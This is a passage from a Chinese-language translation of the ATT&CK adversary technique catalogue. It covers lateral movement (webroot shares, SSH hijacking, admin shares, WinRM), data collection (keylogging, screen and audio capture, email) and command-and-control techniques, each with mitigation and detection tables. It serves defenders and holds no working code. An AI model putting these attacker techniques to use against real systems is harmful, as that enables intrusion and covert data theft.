系统要求： 在远程系统上共享 webroot 目录

数据源： 文件监控，进程监控

CAPEC 编号: CAPEC-563

版本： 1.0

攻击者可以通过包含网站的 webroot 或 Web 内容目录的开放网络文件共享将恶意内容添加到内部可访问的网站，然后使用 Web 浏览器浏览到该内容以使服务器执行恶意内容。 恶意内容通常在 Web 服务器进程的上下文和权限下运行，通常会产生本地系统或管理权限，具体取决于 Web 服务器的配置方式。

这种共享访问和远程执行机制可用于横向移动到运行 Web 服务器的系统。 例如，运行具有开放网络共享的 PHP 的 Web 服务器可以允许攻击者上载远程访问工具和 PHP 脚本，以在访问特定页面时在运行 Web 服务器的系统上执行 RAT。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制通过网络对资源的访问 | 禁止远程访问用于提供 Web 内容的 webroot 或其他目录。 |
| 网络分段 | 如果系统和 Web 服务器未得到适当保护以限制未经身份验证的网络共享访问和网络/系统隔离，那么允许开放式开发和测试 Web 内容并允许用户在企业网络上设置自己的 Web 服务器的网络可能特别容易受到攻击 |
| 特权账户管理 | 如果系统和 Web 服务器没有得到适当保护以限制特权帐户使用和未经身份验证的网络共享访问，那么允许开放式开发和测试 Web 内容并允许用户在企业网络上设置自己的 Web 服务器的网络可能特别容易受到攻击。 |
| 限制文件和目录权限 | 禁止在 webroot 中的目录上执行。确保对可通过 Web 服务器访问的目录具有适当的权限。 |
| 用户帐户管理 | 确保 Web 服务器进程的权限仅是不使用内置帐户所需的权限;相反，创建特定帐户以限制多个系统中不必要的访问或权限重叠。 |

### 检测

使用文件和进程监视来检测何时通过非正常 Web 服务器进程的进程或在正常管理时间段之外写入文件时将文件写入 Web 服务器的时间。 使用进程监视来标识在 Web 服务器上运行的正常进程，并检测通常不执行的进程。

## 8.13 SSH 劫持

编号： T1184

技术： 横向移动

平台： Linux, macOS

系统要求：启用 SSH 服务，配置好信任关系，建立好连接

所需权限： 用户, root 用户

数据源： 认证日志

贡献者: Anastasios Pingios

版本： 1.0

Secure Shell（SSH）是 Linux 和 macOS 系统上的标准远程访问方式。 它允许用户通过加密隧道连接到另一个系统，通常通过密码、证书或使用非对称加密密钥对进行身份验证。

为了从受感染的主机横向移动，攻击者可以利用在活动 SSH 会话中通过公钥认证与其他系统建立的信任关系，来劫持与另一个系统的现有连接。 这可能通过破坏 SSH 代理本身或访问代理的套接字来实现。 如果攻击者能够获得 root 访问权限，那么劫持 SSH 会话可能是容易的。受感染的 SSH 代理还用来可以拦截 SSH 凭据。

SSH 劫持与使用远程服务不同，因为它会注入现有的 SSH 会话，而不是使用有效帐户创建新会话。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁用或删除功能或程序 | 确保在未明确要求此功能的系统上禁用代理转发以防止滥用。 |
| 密码策略 | 确保 SSH 密钥对具有强密码，并且不使用密钥存储技术（如 ssh-agent），除非它们受到适当保护。 |
| 特权账户管理 | 不允许以 root 身份或其他特权帐户通过 SSH 进行远程访问。 |
| 限制文件和目录权限 | 确保设置适当的文件权限并加强系统以防止 root 权限升级机会。 |
| 用户帐户控制 | 确保所有私钥都安全地存储在只有合法所有者才能访问强密码并经常轮换的位置。 |

### 检测

使用 SSH 可能是合法的，具体取决于网络环境及其使用方式。 其他因素（例如访问模式和远程登录后发生的活动）可能表示 SSH 存在可疑或恶意行为。 监控用户帐户登录到他们通常不会访问的系统或在相对较短的时间内访问多个系统的模式。 还可以监视不同用户使用的用户 SSH 代理套接字文件。

## 8.14 共享内容污点

编号： T1080

技术： 横向移动

平台： Windows

系统要求：访问共享文件夹和内容的写入权限

所需权限： 用户

| |
|---|
| 数据源：文件监控，进程监控<br>CAPEC 编号: CAPEC-562<br>贡献者: David Routin<br>版本： 1.0 |

存储在网络驱动器或其他共享位置的内容可能会被恶意程序，脚本或利用代码添加到其他有效文件中而受到污染。一旦用户打开共享的受污染内容，就会执行恶意部分以在远程系统上运行攻击者的代码。攻击者可以使用受污染的共享内容来横向移动。

目录共享数据透视是此技术的一种变体，它使用其他几种技术在用户访问共享网络目录时传播恶意软件。它使用目录.LNK 文件的快捷方式修改，假装看起来像真实的目 隐藏文件和隐藏目录。基于恶意.LNK 的目录具有嵌入式命令，该命令在目录中执行隐藏的恶意软件文件，然后打开实际的目标目录，以便仍然发生用户的预期操作。当与经常使用的网络目录一起使用时，该技术可能导致频繁的重新感染和对系统或可能新的和更高特权的帐户的广泛访问。

缓解

| 缓解措施 | 说明 |
|---|---|
| 执行预防 | 识别可能用于污染内容或可能由此产生的潜在恶意软件，并在适当情况下使用白名单工具（如 AppLocker 或软件限制策略）审核和/或阻止未知程序。 |
| 漏洞利用保护 | 使用检测或减轻利用常用功能的实用程序，例如 Microsoft 增强型缓解体验工具包（EMET） |
| 限制文件和目录权限 | 控制具有写访问权限的用户数量来保护共享文件 |

检测

将许多文件写入或覆盖到网络共享目录的进程可能是可疑的。 监视从可移动介质执行的恶意或异常活动的进程，例如由于外联命令与控制服务器而导致的网络连接以及可能的网络发现技术。

经常扫描共享网络目录中的恶意文件，隐藏文件，.LNK 文件以及在用于共享特定类型的内容的目录中不常见的其他文件类型。

# 8.15 第三方软件

| |
|---|
| 编号：T1072<br>技术：执行，横向移动 |

平台：Linux，macOS，Windows

所需权限：用户，管理员，系统

数据源：文件监控，第三方应用日志，Windows 注册表，进程监控，网络进程使用，二进制文件元数据

是否支持远程：是

版本：1.0

第三方应用和软件部署系统可在网络环境中用于管理目的（例如，SCCM，VNC，HBSS，Altiris 等）。如果攻击者获得这些系统的访问权限，那么他们就可以执行代码。

攻击者可能会访问并使用安装在企业网络的第三方应用部署系统。通过访问网络范围或企业范围的软件部署系统，攻击者可以在连接到软件部署系统的所有其它系统上执行远程代码。访问可用于横向移动到系统、收集信息或引起特定效果，例如擦除所有端点上的硬盘驱动器。

此操作所需的权限因系统配置而异；本地凭据可能足以直接访问部署服务器，或者可能需要特定的域凭据。但是，系统可能需要管理账号才能登录或执行软件部署。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 活动目录配置 | 在关键网络系统使用组策略来确保系统和访问准确隔离。 |
| 多因子认证 | 在关键网络系统使用多因子认证来确保系统和访问准确隔离。 |
| 网络分区 | 在关键网络系统使用防火墙来确保系统准确隔离。 |
| 密码策略 | 验证用于访问部署系统的账号凭据。确保其唯一性并且不会用于整个企业网络。 |
| 特权账号管理 | 仅向有限数量的授权的管理员授予应用部署系统的访问权限。 |
| 远程数据存储 | 如果可以将应用部署系统配置为仅部署已签名的二进制文件，请确保受信任的签名证书与应用部署系统位于不同位置，受信任的签名证书位于无法远程访问或远程访问控制很严格的系统上。 |
| 软件更新 | 定期给部署系统打补丁，防止攻击者利用权限升级进行远程访问。 |
| 用户账号管理 | 确保第三方提供商用于访问这些系统的任何账号都可以追溯到第三方，并且不会在整个网络中使用，也不会在同一环境中被其他第三方提供商使用。确保定期审查为这些系统配置的账号以保证持续的业务需求，并确保有措施来跟踪不再需要的访问的取消。 |
| 用户培训 | 对部署系统的使用有严格的审批策略。 |

### 检测

检测方法因第三方软件或系统的类型以及它通常的使用方式而异。

与对待其他潜在的恶意活动（最初不知道分发媒介，但最终活动遵循可识别的模式）一样，这里也可以应用相同的调查过程。分析流程执行树、来自第三方应用的历史活动（例如通常推送哪些类型的文件）以及推送到系统的文件/二进制/脚本引发的活动或事件。

通常，这些第三方应用都有自己的日志，可以收集这些日志并与环境中的其他数据关联。

审核软件部署日志并查找可疑或未经授权的活动。一个通常不用于将软件推送到客户端的系统突然被用于已知管理功能之外的此类任务可能是可疑的。

定期执行应用部署，那么不定期的部署活动就会凸显出来。监控与已知良好软件不相关的过程活动。监控部署系统上的账号登录活动。

## 8.16 Windows 管理员共享

编号：T1077

技术：横向移动

平台：Windows

系统要求：已启用通过 SMB 进行文件和打印机共享的功能；不会阻止源和目标 SMB 端口的主机/网络防火墙；远程系统上管理员群组中的域账号，或默认系统管理员账号。

所需权限：管理员

数据源：网络进程使用，认证日志，进程监控，进程命令行参数

CAPEC 编号：CAPEC-561

版本：1.0

Windows 系统中有管理员才能访问的隐藏网络共享（比如，`C$`，`ADMIN$`和 `IPC$`），并提供了远程文件复制和其他管理功能。

攻击者可能会将此技术与管理员级别的有效账号相结合通过 SMB 远程访问联网系统,从而通过远程过程调用（RPC）来与系统交互，传输文件，并通过远程执行来运行二进制文件。

依赖 SMB/RPC 上已认证会话的技术包括计划任务，服务执行和 WMI 管理指令集。攻击者还可能会使用 NTLM 哈希在某配置或补丁级别通过 PtH 技术来访问系统上的管理员共享。

Net 实用程序的 `net use` 命令可与有效凭据一起使用，来访问远程系统上的 Windows 管理员共享。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 不要在系统之间复用本地管理员账号密码。确保密码的复杂性和唯一性，以防止被破解或猜中。 |

| | |
|---|---|
| 特权账号管理 | 拒绝远程使用本地管理员凭据登录系统。不允许域用户账号位于多个系统的本地管理员群组中。 |

检测

已对系统登录账号开启了日志功能，且日志集中收集。Windows 日志功能可以收集用于横向移动的账号的成功和失败日志，并且这些日志是通过 Windows 事件转发等工具收集。监控远程登录事件和关联的 SMB 活动来查看是否有文件传输及远程进程执行活动。监控命令行界面上用来访问远程共享的工具和命令（比如 Net），以及监控用于发现远程可访问系统的发现技术。

# 8.17 Windows 远程管理

编号：T1028

技术：执行，横向移动

平台：Windows

系统要求：在远程系统上打开并配置 WinRM 侦听器

所需权限：用户，管理员

数据源：文件监控，认证日志，Netflow/Enclave 技术网络流分析，进程监控，进程命令行参数

是否支持远程：是

版本：1.0

WinRM（Windows Remote Management）是 Windows 服务名，也是允许用户与远程系统交互的协议名称（例如，运行可执行文件，修改注册表，修改服务）。可以使用 winrm 命令或任何数量的程序（如 PowerShell）来调用 WinRM。

缓解

| **缓解措施** | **说明** |
|---|---|
| 特性/程序禁用或移除 | 禁用 WinRM 服务。 |
| 网络分区 | 如果需要该服务，请使用单独的 WinRM 基础架构锁定关键飞地，并遵循使用主机防火墙的 WinRM 最佳实践来限制 WinRM 访问，仅允许与特定设备进行通信。 |
| 特权账号管理 | 如果需要该服务，请使用单独的 WinRM 账号和权限锁定关键飞地。 |

## 检测

通过跟踪服务执行来监控环境中 WinRM 的使用。非正常使用或禁用 WinRM 可能表示有可疑行为。监控 WinRM 进程或 WinRM 调用脚本创建的进程和执行的操作，将其与其他相关事件关联。

# 9. 采集

## 9.1 音频捕捉

编号：T1123

技术：采集

平台：Linux，macOS，Windows

所需权限：用户

数据源：API 监控，进程监控，文件监控

版本：1.0

攻击者可能会利用计算机的外围设备（例如，麦克风和网络摄像头）或应用程序（例如，语音和视频呼叫服务）来捕捉音频记录，收听敏感交谈内容从而收集信息。

恶意软件或脚本可能会通过操作系统或应用提供的可用 API 与设备进行交互来捕捉音频。音频文件可能会写入磁盘并在以后被泄漏。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

此技术可能很难检测到，因为使用的 API 各不相同。API 调用相关的遥测数据可能并无用处，具体取决于系统的使用方式。但这些遥测数据可能会为系统上发生的其他潜在恶意活动提供上下文。

与此技术使用相关的行为包括未知或异常进程调用 API 来访问麦克风、录音设备或录音软件，以及进程周期性地将包含音频数据的文件写入磁盘。

## 9.2 自动化收集

编号：T1119

技术：采集

平台：Linux，macOS，Windows

| |
|---|
| 系统要求：有权访问存储感兴趣信息的目录和文件。<br>所需权限：用户<br>数据源：文件监控，数据丢失防御，进程命令行参数<br>版本：1.0 |

一旦在系统或网络中建立，攻击者就可以使用自动化技术来收集内部数据。方法包括使用脚本在特定时间间隔搜索符合条件（例如文件类型，位置或名称）的信息。此功能也可以内置到远程访问工具中。

该技术可以结合使用其他技术，例如文件和目录发现以及远程文件复制，来识别和移动文件。

缓解

| 缓解措施 | 说明 |
|---|---|
| 敏感信息加密 | 敏感信息的加密和系统外存储可能是减轻文件收集影响的一种方法，但是如果入侵持续了很长时间并且攻击者能够通过其他方式发现和访问数据，则这种方法可能没法阻止攻击者获取信息。对某些加密文档使用强密码可以阻止攻击者使用暴力破解技术来在线下破解密码。 |
| 远程数据存储 | 敏感信息的加密和系统外存储可能是减轻文件收集影响的一种方法，但是如果入侵持续了很长时间并且攻击者能够通过其他方式发现和访问数据，则这种方法可能没法阻止攻击者获取信息。 |

检测

根据所使用的方法，操作可能包括在命令行界面上使用批处理文件或脚本中的通用文件系统命令和参数。一系列类似操作可能不正常，具体取决于系统和网络环境。自动化收集技术可与其他技术一起使用，如分布处理数据技术。文件访问监控过程中，如果发现异常进程一次性打开多个文件并拷贝到文件系统上另外一个位置，则可能表示有自动收集行为发生。攻击者可能会使用带有内置功能的远程访问工具来直接与 Windows API 交互以收集数据，也可以使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取数据。

## 9.3 剪贴板数据

| |
|---|
| 编号：T1115<br>技术：采集<br>平台：Linux，Windows，macOS |

| |
|---|
| 数据源：API 监控 |
| 版本：1.0 |

用户在应用间复制信息时，攻击者可能会从用户测收集 Windows 剪贴板上的数据。

### Windows

应用可以使用 Windows API 来访问剪贴板数据。

### Mac

OSX 命令 `pbpaste` 可用来获取剪贴板内容

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

访问剪贴板是 Windows 系统上许多应用的合法功能。如果组织选择监控此行为，则可能需要找出数据与其他可疑或非用户驱动的活动之间的关系。

## 9.4 信息库数据

| |
|---|
| 编号： T1213 |
| 技术： 采集 |
| 平台： Linux, Windows, macOS |
| 所需权限： 用户 |
| 数据源： 应用日志，认证日志，数据泄漏防护，第三方应用日志 |
| 贡献者: Milos Stojadinovic |
| 版本： 1.0 |

攻击者可以利用信息库来挖掘有价值的信息。信息存储库是允许存储信息的工具，通常用于促进用户之间的协作或信息共享，并且可以存储可以帮助对手实现进一步目标的各种数据，或者直接访问目标信息。

以下是可以在信息库中找到，并可能对对手具有潜在价值的示例信息的简短列表：

- 政策，程序和标准
- 物理/逻辑网络图
- 系统架构图
- 技术系统文档

- 测试/开发凭据
- 工作/项目进度表
- 源代码片段
- 指向网络共享和其他内部资源的链接

具体的公共信息库包括：

Microsoft SharePoint

存在于许多企业网络中，通常用于存储和共享大量文档。

Atlassian Confluence

Confluence 通常与 Atlassian JIRA 一起在开发环境中使用，通常用于存储与开发相关的文档。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审计 | 考虑定期检查关键和敏感信息库的帐户和权限。 |
| 用户帐户管理 | 实施最低权限原则。 考虑实施包括身份验证和授权的访问控制机制。 |
| 用户培训 | 开发和发布定义可存储在存储库中的可接受信息的策略。 |

检测

由于信息库通常具有相当大的用户群，因此检测恶意使用并非易事。至少应该密切监视和警告对特权用户（例如，Active Directory 域企业管理员）执行的信息库的访问，因为这些类型的帐户通常不应用于访问信息库。如果该功能存在，监视和警告正在检索和查看大量文档和页面的用户可能是有价值的，因为此行为可能是检索存储库中的所有数据的编程方法。在具有高成熟度的环境中，可以利用用户行为分析（UBA）平台来检测和警告基于用户的异常。

可以将 Microsoft SharePoint 中的用户访问日志记录配置为上报对某些页面和文档的访问。Atlassian 的 Confluence 中的用户用户访问日志记录也可以配置为通过 AccessLogFilter 上报对某些页面和文档的访问。需要额外的日志存储和分析基础架构才能实现更强大的检测功能。

# 9.5 本地系统数据

编号：T1005

技术：采集

平台：Linux，macOS，Windows

系统要求：访问某些文件和目录的特权

数据源：文件监控，进程监控，进程命令行参数

版本：1.0

攻击者可能会从本地系统数据源收集敏感数据，例如数据渗漏之前留存在系统上的文件系统或信息数据库。

攻击者通常会在他们所攻击的计算机上搜索文件系统来查找感兴趣的文件。他们可以使用命令行界面（例如 cmd）来执行此操作，该界面提供与文件系统交互从而收集信息的功能。某些攻击者也可能在本地系统上使用自动化收集方法。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

监控进程和命令行参数来查看是否有从系统收集文件的相关操作。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 9.6 共享网络驱动器数据

编号：T1039

技术：采集

平台：Linux，macOS，Windows

系统要求：特权访问网络共享驱动器

数据源：文件监控，进程监控，进程命令行参数

版本：1.0

攻击者可能会在数据渗漏之前从当前系统访问共享网络驱动器（主机共享目录，网络文件服务器等）从而收集远程系统中的敏感数据。

攻击者可能会在他们所攻击的计算机上搜索网络共享来查找感兴趣的文件。他们可能会使用交互式命令 shell 和 cmd 的常用功能来收集信息。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控进程和命令行参数来查看是否有从网络共享收集文件的相关操作。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 9.7 可移动媒介数据

编号： T1025

技术： 采集

平台： Linux, macOS, Windows

系统要求：访问可移动媒体驱动器和文件的权限

数据源： 文件监控，进程监控，进程命令行参数

版本： 1.0

在进行渗透之前，可以从连接到受入侵系统的任何可移动介质（光盘驱动器，USB 存储器等）收集敏感数据。

攻击者可以在他们已经入侵的计算机上搜索连接的可移动媒体，以查找感兴趣的文件。 可以使用交互式命令 shell，并且可以使用 cmd 内的功能来收集信息。 一些攻击者还可以在可移动媒体上使用自动收集功能。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它是基于系统功能。

### 检测

监视从系统连接的可移动介质收集文件的操作进程和命令行参数。 具有内置功能的远程访问工具可以直接与 Windows API 交互以收集数据。 也可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）获取数据。

## 9.8 数据暂存

编号：T1074

技术：采集

平台：Linux，macOS，Windows

数据源：文件监控，进程监控，进程命令行参数

版本：1.0

渗漏之前，收集的数据暂存在中央位置或目录中。数据可以保存在不同文件中，也可以通过数据压缩或数据加密等技术合并到一个文件。

攻击者可能会使用交互式命令 shell，并且可能会使用 cmd 和 bash 中的通用功能将数据复制到一个临时位置。

缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

检测

似乎正在从不同位置读取文件并写入同一目录或文件的进程可能表示正在分步处理数据，尤其是怀疑它们对文件执行加密或压缩时。

监控进程和命令行参数来查看是否有收集和合并文件的相关操作。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集数据并复制到某路径，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取数据并分步处理。

# 9.9 邮件收集

编号：T1114

技术：采集

平台：Windows

数据源：认证日志，文件监控，进程监控，网络进程使用

版本：1.0

攻击者可能会锁定目标用户邮件来收集敏感信息。

他们可以从用户系统获取包含邮件数据的文件，例如 Outlook 存储或缓存文件.pst 和.ost。

攻击者可能会利用用户的凭据并直接与邮件服务器进行交互来获取网络上的信息。

某些攻击者可能会获取用户凭据并访问面向外部的 Webmail 应用，例如 Outlook Web Access。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 敏感信息加密 | 加密的使用为通过电子邮件发送敏感信息增加了一层安全性。 使用公共密钥密 |

| | |
|---|---|
| | 码术进行加密需要攻击者获取私有证书以及用于解密消息的加密密钥。 |
| 多因子认证 | 对面向公众的 webmail 服务器使用多因子身份认证是推荐的最佳实践，可以最大程度地减少用户名和密码对于攻击者的用处。 |

检测

攻击者可以采用多种方式从目标收集电子邮件。针对每种方式都有不同的检测机制。

以下信息都可能表示有恶意活动发生：访问本地系统邮件文件并将数据渗漏；异常进程连接到网络内电子邮件服务器；在面向公众的 webmail 服务器上使用异常访问模式或身份认证。

监控进程和命令行参数来查看是否有收集本地邮件文件的相关操作。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 9.10 输入捕捉

编号：T1056

技术：采集，凭据访问

平台：Linux，macOS，Windows

所需权限：管理员，系统

数据源：Windows 注册表，内核驱动程序，进程监控，API 监控

CAPEC 编号：CAPEC-569

贡献者：John Lambert，Microsoft Threat Intelligence Center

版本：1.0

攻击者可能会通过捕捉用户输入的方式，包括键盘记录以及用户输入字段拦截，来获取有效账号以及信息收集需要的凭据。键盘记录是时下最流行的输入捕捉方式，它包括多种截取键盘输入的方法。但也存在基于特定目的的信息定位方法，例如执行 UAC 提示或包装 Windows 默认凭据提供程序。

当凭据导出尝试无效时，可能会使用键盘记录来给新访问机会获取凭据，但攻击者在机会出现之前需要在系统上保持被动状态一段时间。

攻击者还可能会在面向外部的门户（例如 VPN 登录页面）上安装代码来捕捉和传输尝试登录该服务的用户的凭据。攻击者可能会在入侵后使用这种输入捕捉技术变体，将合法管理员级访问作为通过外部远程服务和有效账号来保持网络访问的备份措施，或者作为利用面向外部的 web 服务初始入侵的一部分。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

键盘记录程序可以采用多种形式，可能包括修改注册表和安装驱动程序，设置 Hook 或轮询来拦截键盘输入。常常调用的 API 包括 SetWindowsHook，GetKeyState 和 GetAsyncKeyState。监控注册表和文件系统中的此类更改并检测驱动程序安装，还要查看常见的键盘记录 API 调用。仅仅是 API 调用并不能表示有键盘记录，但是 API 调用可能会提供行为数据。这些数据与其他信息（例如，写入磁盘的新文件和异常进程）结合使用时就很有用。

监控注册表来查看是否有添加自定义凭据提供程序的情况。检测到攻击者正在使用已入侵的有效账号可能有助于获取攻击者使用新技术来拦截用户输入的结果。

## 9.11 MitB

| | |
|---|---|
| 编号： | T1185 |
| 技术： | 采集 |
| 平台： | Windows |
| 所需权限： | 管理员，系统 |
| 数据源： | 认证日志，网络抓包，进程监控，API 监控 |
| 贡献者: | Justin Warner, ICEBRG |
| 版本： | 1.0 |

攻击者可以利用浏览器软件中的安全漏洞和固有功能，作为浏览器中间人来改变内容，修改行为，并拦截信息。

一个具体的例子是当攻击者将恶意软件注入浏览器时，允许他们继承用户的 cookie，HTTP 会话和 SSL 客户端证书，并使用浏览器作为一种方式注入经过身份验证的 Intranet。

浏览器透视需要 SeDebugPrivilege 和高完整性过程来执行。浏览器流量通过设置 HTTP 代理从攻击方的浏览器通过用户的浏览器转入，HTTP 代理将重定向任何 HTTP 和 HTTPS 流量。这不会以任何方式改变用户的流量。一旦浏览器关闭，代理连接就会被切断。无论注入代理的任何浏览器进程，攻击者都会收到该进程的安全上下文。浏览器通常为每个打开的选项卡创建一个新进程，并相应地分离权限和证书。使用这些权限，攻击者可以浏览到可通过浏览器访问的 Intranet 上的任何资源，以及浏览器具有足够权限的资源，例如 Sharepoint 或 webmail。浏览器透视也消除了双因素身份验证提供的安全性。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户帐户管理 | 由于浏览器透视需要高度完整性过程才能启动，限制用户权限和解决权限提升和绕过用户帐户控制机会可能会限制此技术的曝光。 |
| 用户培训 | 定期关闭所有浏览器会话当不再需要它们时。 |

### 检测

这是一种难以检测的技术，因为对手流量会被正常的用户流量掩盖。 没有创建新进程，也没有其他软件接触磁盘。 身份验证日志可用于审核对特定 Web 应用程序的登录，但如果活动与典型用户行为相匹配，则可能难以确定恶意登录与正常登录。 监视针对浏览器应用程序的进程注入。

## 9.12 屏幕截图

编号： T1113

技术： 采集

平台： Linux, macOS, Windows

数据源： API 监控，进程监控，文件监控

版本： 1.0

攻击者可能会尝试对桌面进行屏幕捕获，以便在操作过程中收集信息。在入侵后使用的远程访问中可能会包括屏幕捕获功能。

### Mac

在 OSX 上， 命令 `screencapture` 用于捕获屏幕截图。

### Linux

在 Linux 上，命令是 `xwd`。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能。

### 检测

屏幕捕获行为的监视取决于用于从操作系统获取数据和写入输出文件的方法。 检测方法可以包括使用用于获取图像数据的 API 调用来收集来自异常进程的信息，以及监视写入磁盘的图

像文件。 取决于给定网络环境中此行为的合法性，监控的数据可能需要与其他事件相关联以识别恶意活动。

## 9.13 视频采集

| | |
|---|---|
| 编号： | T1125 |
| 技术： | 采集 |
| 平台： | Windows, macOS |
| 所需权限： | 用户 |
| 数据源： | 进程监控，文件监控，API 监控 |
| 贡献者: | Praetorian |
| 版本： | 1.0 |

攻击者可以利用计算机的外围设备（例如，集成的相机或网络摄像头）或应用程序（例如，视频呼叫服务）来捕获视频记录以便收集信息。 还可以以指定的间隔从设备或应用程序捕获图像，代替视频文件。

恶意软件或脚本可用于通过操作系统或应用程序提供的可用 API 与设备交互以捕获视频或图像。 视频或图像文件可能会写入磁盘并在以后进行渗透。 由于使用特定设备或应用程序进行视频录制而不是捕获受害者的屏幕，因此该技术与屏幕捕获不同。

在 macOS 中，有一些不同的恶意软件样本可记录用户的网络摄像头，如 FruitFly 和 Proton。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能。

### 检测

由于可以使用各种 API，因此可能难以检测该技术。 收集 API 使用的数据可能没有用，这取决于系统如何被正常使用，但这可能为系统上发生的其他潜在恶意活动提供上下文。

可能有用的技术使用的行为包括访问摄像机，记录设备或记录软件交互的设备或软件相关联的 API 的未知或异常过程，以及定期将文件写入包含视频或相机图像数据的磁盘的过程。

# 10. 命令与控制

## 10.1 通用端口

编号：T1043

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络抓包，Netflow/Enclave 技术网络流分析，网络进程使用，进程监控

是否需要网络：是

版本：1.0

攻击者可能会通过通用端口进行通信来绕过防火墙或网络检测系统，并混入正常的网络活动来避免更详细的检查。他们可能会使用如下通用开放端口：

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

攻击者可能会使用端口关联的协议或完全不同的协议。

飞地内的连接（例如，代理节点或枢纽节点与其他节点之间的连接）使用的通用端口示例如下：

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定协议，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能 |

| | |
|---|---|
| | 会随着时间的推移更改工具 C&C 签名，或者构建协议来逃避常见防御工具的检测。 |
| 网络分区 | 配置内部和外部防火墙来阻止与网络协议相关但非特定网段必需的通用端口上的流量。 |

### 检测

分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

## 10.2 经由可移动媒体通信

编号： T1092

技术： 命令与控制

平台： Linux, macOS, Windows

数据源：文件监控，数据泄漏防护

是否需要网络：否

版本： 1.0

攻击者可以使用可移动媒体在断开的网络上的受感染主机之间执行命令与控制，以将命令从一个系统传输到另一个系统。互联网连接系统可能首先受到感染，第二个系统则通过“通过可移动媒体复制”进行横向移动，这两个系统都会被感染。 命令和文件将从断开连接的系统中继到攻击者可直接访问的因特网连接系统。

### 缓解

| **缓解措施** | **说明** |
|---|---|
| 禁用功能或删除程序 | 如果没有必要，请禁用 Autoruns。 |
| 操作系统配置 | 如果业务操作不需要可移动媒体，则在组织策略级别上禁止或限制可移动媒体。 |

### 检测

监视可移动媒体上的文件访问。 检测安装可移动介质时执行的进程。

# 10.3 连接代理

编号：T1090

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络进程使用，进程监控，Netflow/Enclave 技术网络流分析，网络抓包

是否需要网络：是

贡献者：Walker Johnson

版本：1.0

连接代理用于在系统之间引导网络流量或充当网络通信的中介。存在多种启用了代理或端口模式流量重定向的工具，包括 HTRAN，ZXProxy 和 ZXPortMap。

代理的定义也可以扩展到涵盖对等网络、网状网络之间的信任关系，或由定期相互通信的主机或系统组成的网络之间的信任连接。

网络可以在单个组织内，也可以在有信任关系的组织之间。 攻击者可能会基于这些类型的关系来管理命令与控制通信，从而减少同时进行的出站网络连接的数量，在连接丢失时提供弹性，或者跳过攻击对象之间现有的可信通信路径来避免嫌疑。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定 C&C 协议，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C&C 签名，或者构建协议来逃避常见防御工具的检测。 |

检测

如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。如果有网络活动与通常需要用户指挥的进程中用户驱动的操作不相关，则是可疑的。

分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多，或者一个客户端给另外一个不应该或经常不相互通信的客户端发送了数据）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 10.4 自定义 C&C 协议

编号： T1094

技术： 命令与控制

平台： Linux, macOS, Windows

数据源： 网络抓包，Netflow/Enclave 技术网络流分析，进程网络访问，进程监控，主机网络接口，网络入侵检测系统，网络协议分析

是否需要网络：是

贡献者: Ryan Becwar

版本： 1.0

攻击者可以使用自有命令与控制协议进行通信，而不是在现有的标准应用层协议中封装的命令或数据。 包括模仿众所周知的协议或在 TCP / IP /其它标准网络堆栈提供的基本协议之上开发自有协议（包括原始套接字）。

缓解

| 缓解措施 | 说明 |
| --- | --- |
